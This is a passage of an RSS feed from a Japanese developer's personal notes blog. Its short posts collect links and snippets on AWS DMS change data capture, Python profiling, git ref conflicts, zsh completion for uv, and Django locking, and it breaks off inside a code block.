&lt;/div&gt;</description></item><item><title>MySQL: CDC</title><link>https://hdknr.github.io/blogs/posts/2023/12/mysql-cdc/</link><pubDate>Thu, 28 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/mysql-cdc/</guid><description>&lt;h1 id="mysql-cdcchange-data-capture"&gt;MySQL: CDC(Change Data Capture)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://ts223.hatenablog.com/entry/cdc-rds-bq/part1"&gt;AWS Database Migration Service による Change Data Capture: 前編&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://ts223.hatenablog.com/entry/cdc-rds-bq/part2"&gt;AWS Database Migration Service による Change Data Capture: 後編&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/i3no29/items/73363a7e1ca1c99000f8"&gt;AWS DatabaseMigrationService での DB 移行構築ハンズオン&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rds-mysql"&gt;RDS MySQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/dms/latest/userguide/CHAP_Source.MySQL.html#CHAP_Source.MySQL.AmazonManaged"&gt;AWS DMS のソースとして AWS が管理する MySQL 互換データベースの使用&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;バイナリログ(&lt;code&gt;binlog_format&lt;/code&gt; == &lt;code&gt;ROW&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;binlog_row_image&lt;/code&gt; == &lt;code&gt;Full&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;binlog_checksum&lt;/code&gt; == &lt;code&gt;NONE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dms"&gt;DMS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/dms/"&gt;AWS Database Migration Service&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/rdb-dms-rds/"&gt;DMS で AWS RDS へ継続的に移行してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://repost.aws/questions/QUSjXHLPIgSyuTSfETynK0Cg/dms-endpoint-connection-test-failed-with-secret-manager"&gt;DMS Endpoint Connection Test Failed with Secret Manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/blogs/database/manage-your-aws-dms-endpoint-credentials-with-aws-secrets-manager/"&gt;Manage your AWS DMS endpoint credentials with AWS Secrets Manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/blogs/security/how-to-connect-to-aws-secrets-manager-service-within-a-virtual-private-cloud/"&gt;How to connect to AWS Secrets Manager service within a Virtual Private Cloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.skyarch.net/blog/aws-database-migration-service-aws-dms-%E3%81%AE-cdc-%E3%83%AC%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F/"&gt;AWS Database Migration Service (AWS DMS) の CDC レプリケーションを使ってみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;サーバーレス:&lt;/p&gt;</description></item><item><title>PyCaret</title><link>https://hdknr.github.io/blogs/posts/2023/12/pycaret/</link><pubDate>Mon, 25 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/pycaret/</guid><description>&lt;h1 id="pycaret-automl"&gt;PyCaret: AutoML&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pycaret.org/"&gt;https://pycaret.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aiacademy.jp/media/?p=954"&gt;PyCaret 入門 Python で機械学習を自動化しよう！【AutoML】&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chem-fac.com/pycaret/"&gt;【AutoML】PyCaret で超ラクに機械学習！！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Python プロファイリング</title><link>https://hdknr.github.io/blogs/posts/2023/12/python-%E3%83%97%E3%83%AD%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AA%E3%83%B3%E3%82%B0/</link><pubDate>Sun, 24 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/python-%E3%83%97%E3%83%AD%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AA%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="cprofile"&gt;cProfile&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://note.com/navitime_tech/n/nce5d5f50af95"&gt;Python プログラムが遅い原因を調べる方法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python -m cProfile -o /tmp/epm.prof manage.py reports build &lt;span style="color:#ae81ff"&gt;7646&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;snakeviz /tmp/epm.prof
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名前&lt;/th&gt;
&lt;th&gt;意味&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ncalls&lt;/td&gt;
&lt;td&gt;呼び出し回数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tottime&lt;/td&gt;
&lt;td&gt;関数の処理時間の合計 (呼び出した関数の処理時間は除外)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;percall ( tottime の隣)&lt;/td&gt;
&lt;td&gt;tottime を ncalls で割った値。一回の実行にかかる平均時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cumtime&lt;/td&gt;
&lt;td&gt;関数の処理時間の合計 (呼び出した関数の処理時間も含める)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;percall (sumtime の隣)&lt;/td&gt;
&lt;td&gt;cumtime を ncalls で割った値。一回の実行にかかる平均時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;filename:lineno(function)&lt;/td&gt;
&lt;td&gt;ファイル名、行番号、関数名&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>「この接続ではプライバシーが保護されません」</title><link>https://hdknr.github.io/blogs/posts/2023/12/%E3%81%93%E3%81%AE%E6%8E%A5%E7%B6%9A%E3%81%A7%E3%81%AF%E3%83%97%E3%83%A9%E3%82%A4%E3%83%90%E3%82%B7%E3%83%BC%E3%81%8C%E4%BF%9D%E8%AD%B7%E3%81%95%E3%82%8C%E3%81%BE%E3%81%9B%E3%82%93/</link><pubDate>Wed, 13 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/%E3%81%93%E3%81%AE%E6%8E%A5%E7%B6%9A%E3%81%A7%E3%81%AF%E3%83%97%E3%83%A9%E3%82%A4%E3%83%90%E3%82%B7%E3%83%BC%E3%81%8C%E4%BF%9D%E8%AD%B7%E3%81%95%E3%82%8C%E3%81%BE%E3%81%9B%E3%82%93/</guid><description>&lt;h1 id="この接続ではプライバシーが保護されません"&gt;「この接続ではプライバシーが保護されません」&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kinsta.com/jp/blog/your-connection-is-not-private/"&gt;【18 の方法】「この接続ではプライバシーが保護されません」エラーを解決するには&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssl-test"&gt;SSL TEST&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ssllabs.com/ssltest/index.html"&gt;https://www.ssllabs.com/ssltest/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dns-caa"&gt;DNS CAA&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rms.ne.jp/sslserver/basis/caa/"&gt;DNS CAA (Certification Authority Authorization)利用が標準化&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/caa-on-route53/"&gt;Route 53 が CAA レコードに対応しました！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>devel を削除したたが devel/0 を作れない</title><link>https://hdknr.github.io/blogs/posts/2023/12/devel-%E3%82%92%E5%89%8A%E9%99%A4%E3%81%97%E3%81%9F%E3%81%9F%E3%81%8C-devel/0-%E3%82%92%E4%BD%9C%E3%82%8C%E3%81%AA%E3%81%84/</link><pubDate>Wed, 13 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/devel-%E3%82%92%E5%89%8A%E9%99%A4%E3%81%97%E3%81%9F%E3%81%9F%E3%81%8C-devel/0-%E3%82%92%E4%BD%9C%E3%82%8C%E3%81%AA%E3%81%84/</guid><description>&lt;h1 id="git-update-ref--d"&gt;git update-ref -d&lt;/h1&gt;
&lt;p&gt;これだけだと devel/2023-12-14 を pull できない&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git branch -d devel
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;error: cannot lock ref &amp;#39;refs/remotes/origin/devel/2023-12-14&amp;#39;: &amp;#39;refs/remotes/origin/devel&amp;#39; exists; cannot create &amp;#39;refs/remotes/origin/devel/2023-12-14&amp;#39;
From github.com:spin-dd/taihei-epm-server
! [new branch] devel/2023-12-14 -&amp;gt; origin/devel/2023-12-14 (unable to update local ref)
error: some local refs could not be updated; try running
&amp;#39;git remote prune origin&amp;#39; to remove any old, conflicting branches
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;update-ref&lt;/code&gt; でクリアされる&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git update-ref -d refs/remotes/origin/devel
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>半角カタカナ</title><link>https://hdknr.github.io/blogs/posts/2023/12/%E5%8D%8A%E8%A7%92%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A/</link><pubDate>Tue, 12 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/%E5%8D%8A%E8%A7%92%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A/</guid><description>&lt;h1 id="半角カタカナ"&gt;半角カタカナ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/nasuB7373/items/17adc4b808a8bd39624d"&gt;全角・半角カタカナのバリデーションルール設定方法（正規表現）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title> EC2 自動再起動</title><link>https://hdknr.github.io/blogs/posts/2023/12/ec2-%E8%87%AA%E5%8B%95%E5%86%8D%E8%B5%B7%E5%8B%95/</link><pubDate>Thu, 07 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/ec2-%E8%87%AA%E5%8B%95%E5%86%8D%E8%B5%B7%E5%8B%95/</guid><description>&lt;h1 id="ec2-自動再起動"&gt;EC2 自動再起動&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.beex-inc.com/blog/autorecovery-instance-status-check-failed"&gt;EC2 インスタンスのステータスチェックが 1/2 の場合でも AutoRecovery したい！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="awssupport-executeec2rescue"&gt;AWSSupport-ExecuteEC2Rescue&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/systems-manager/latest/userguide/automation-ec2rescue.html"&gt;到達不可能なインスタンスでの EC2Rescue ツールの実行&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>会計</title><link>https://hdknr.github.io/blogs/posts/2023/11/%E4%BC%9A%E8%A8%88/</link><pubDate>Thu, 23 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/%E4%BC%9A%E8%A8%88/</guid><description>&lt;h1 id="会計"&gt;会計&lt;/h1&gt;
&lt;h2 id="一般管理費"&gt;一般管理費&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://introvert-tanuki.com/sga-english/"&gt;販売費及び一般管理費を英語で？【海外で役に立つ会計英語をカンタン解説】&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;SGA:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;販売：Selling&lt;/li&gt;
&lt;li&gt;一般：General&lt;/li&gt;
&lt;li&gt;管理：Administrative&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Bash スクリプト</title><link>https://hdknr.github.io/blogs/posts/2023/11/bash-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</link><pubDate>Mon, 20 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/bash-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</guid><description>&lt;h1 id="bash-スクリプト"&gt;bash スクリプト&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/kawarimidoll/articles/d546892a6d36eb"&gt;bash シェルスクリプトで引数とオプションを解析する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/doi-t/7853853"&gt;シェル変数のデフォルト値を設定する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="compdef"&gt;compdef&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eval &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;uv generate-shell-completion zsh&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_uv_run_mod&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$words&lt;span style="color:#e6db74"&gt;[2]&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;run&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$words&lt;span style="color:#e6db74"&gt;[CURRENT]&amp;#34;&lt;/span&gt; !&lt;span style="color:#f92672"&gt;=&lt;/span&gt; -* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; _arguments &lt;span style="color:#e6db74"&gt;&amp;#39;*:filename:_files&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; _uv &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$@&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;compdef _uv_run_mod uv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;uv というコマンドに対して、_uv_run_mod という補完関数を関連付けています。&lt;/li&gt;
&lt;li&gt;uv の後に Tab キーを押すと、_uv_run_mod 関数で定義された補完候補が表示されます。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Python with文</title><link>https://hdknr.github.io/blogs/posts/2023/11/python-with%E6%96%87/</link><pubDate>Thu, 09 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/python-with%E6%96%87/</guid><description>&lt;h1 id="with"&gt;With&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://djangobrothers.com/blogs/with_statement_basic/"&gt;【Python】with 文の構造を理解する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MPTT tree_id</title><link>https://hdknr.github.io/blogs/posts/2023/11/mptt-tree_id/</link><pubDate>Mon, 06 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/mptt-tree_id/</guid><description>&lt;h1 id="mptt-tree-id"&gt;MPTT Tree ID&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/koukikun1105/items/f2b4c014bd8f95038a21"&gt;Django + mysql： transaction.atomic() で select_for_update() を使ってレコードをロックしたときのメモ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Nyokki/items/c68dddff2368c557c4bf"&gt;MySQL で採番機能（シーケンス）を実装する方法を整理する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ham0215/items/f53dda06dd43e6be12c9"&gt;MySQL のロックについて公式ドキュメントを読みながら動作検証してみた〜テーブルレベルロック〜&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="分散ロック"&gt;分散ロック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://lincolnloop.com/insights/distributed-locking-django/"&gt;Distributed Locking in Django&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.core.cache &lt;span style="color:#f92672"&gt;import&lt;/span&gt; cache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; cache&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(&lt;span style="color:#e6db74"&gt;&amp;#34;somekey&amp;#34;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; do_some_thing()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;redis-py:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/redis/redis-py/blob/d3a3ada03e080f39144807c9fbe44876c40e0548/redis/client.py#L394"&gt;https://github.com/redis/redis-py/blob/d3a3ada03e080f39144807c9fbe44876c40e0548/redis/client.py#L394&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="デッドロック"&gt;デッドロック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/17183434/hook-available-for-automatic-retry-after-deadlock-in-django-and-mysql-setup"&gt;Hook available for automatic retry after deadlock in django and mysql setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
